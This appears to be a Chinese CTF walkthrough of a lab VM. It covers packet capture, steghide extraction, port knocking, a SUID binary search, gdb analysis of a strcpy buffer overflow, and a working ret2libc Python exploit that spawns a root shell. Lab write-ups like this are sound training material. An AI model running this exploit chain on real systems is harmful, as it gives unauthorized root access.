guangen2025-06-09文章来源:SecHub网络安全社区
arp-scan -l
主机发现
tshark -i eth0 -f "host 10.10.0.133" -w deathstar.pcap
捕捉etho网卡包过滤靶机地址,保存到deathstar.pcap,抓取两组包即可进行比较
tshark -r deathstar.pcap
读取数据包
tshark -r deathstar.pcap -V
看详细信息
tshark -r deathstar.pcap -T fields -e data
输入类型设置为fields、提取data数据
tshark -r deathstar.pcap -T fields -e data | tr -d ' '
过滤空格
tshark -r deathstar.pcap -T fields -e data | tr -d ' ' | xxd -r -p
xxd -r 十六进制->二进制、-p->再将字节码转换为纯文本执行
echo "DS-1@OBS" | nc -u 10.10.0.133 1440 | tee mass
udp协议、输出到mass文件
cat mass | base64 -d > x
base64解码到x文件
file类型,修改后缀
使用steghigh出问题,显示data不对
echo "DS-1@OBS" | nc -u 10.10.0.133 1440 > mass
直接导出到mass
cat mass| base64 -d > x
自动弹出文件了,与上一张比较明显下面没有乱码情况
steghide extract -sf x.jpg
密码输入为提示的DS-1@OBS
Each segment of the "unlock code" can only contain 3 characters sent in sequence to unlock port 10110.
参考:端口敲门技术实践
nmap -p 10110 10.10.0.133
knock 10.10.0.133 197 719 801 983 -v
敲一下
再次扫描,端口开放
nmap -sT -sC -sV -p10110 10.10.0.133
再增加扫描参数、sC默认脚本
提示
社工
lyra13
uname -a
sudo -l
find / -perm /u=s,g=s -type f 2>/dev/null
/bin/dartVader
拉去文件到本地
gdb dartVader
source /usr/share/gdb-peda/peda.py
checksec
检查
disassemble main
呈现main函数的底层序列
实际内存地址|函数内偏移量|函数语言助记符|操作数
保存旧的基值指针
设置新的基值指针
将栈指针对其到16字节边界
栈空间分配为局部变量,分配80字节栈空间
检查命令行参数,ebp+0x8为ascii值,如果不等于1
就会跳转到+35这个位置
后面三行是错误处理,就是ascii等于1,0x8048520应该是错误消息字符地址
程序就会调用errx@plt打印错误信息
并退出
从这开始到strcpy@plt就是获取第一个命令行参数
然后复制到栈上的缓存区
最后两行返回函数清理栈
整个程序的逻辑就是main至少需要一个命令行参数,如果没有打印并退出,有将这个参数复制到80字节的栈缓冲区
使用了strcpy@plt不安全函数,没有检查长度,栈缓冲区大小为80字节,但没有边界检查,所以可能存在缓冲区溢出漏洞
/bin/dartVader $(python3 -c "print('A'*100)")
打印100个,报错Segmentation fault (core dumped)
dmesg | tail
显示开机信息|查阅
41对应的ascii就是A
readelf -W -l /bin/dartVader
-W;允许超过80字节、-l:显示程序头文件
无执行权限
ldd
链接动态库依赖情况
readelf -s /lib/i386-linux-gnu/libc.so.6 |grep -E "(system|exit)@@"
strings | grep -E shell
再找一下/bin/sh的地址、-t显示偏移量并以16进制给出
制作100长度
msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
./dartVader Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
运行测定偏移量
dmesg| tail
0x63413539
msf-pattern_offset -l 100 -q 0x6341353
可能匹配在76偏移量
offset就可以设置76
payload
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from struct import pack
from subprocess import call
offset = b"A" * 76
libc = 0xb7550000 #在ldd /bin/dartVader中拿到
system = pack("<I",libc + 0x00040310) #readelf -s /lib/i386-linux-gnu/libc.so.6 |grep -E "(system|exit)@@"
exit = pack("<I",libc + 0x00033260) #exit@@GLIBC_2.0
sh = pack("<I",libc + 0x162d4c) #strings -t x /lib/i386-linux-gnu/libc.so.6 | grep -E /bin/sh
buffer = offset + system + exit + sh
app = b"/bin/dartVader"
for i in range(1024):
print("Attempt %d" % i)
ret = call([app,buffer])
if ret == 0:
print("Exploit Succeeded")
break
else:
print("Mission Failed")
vi写入、chmod +x ret2libc.py、./ret2libc.py执行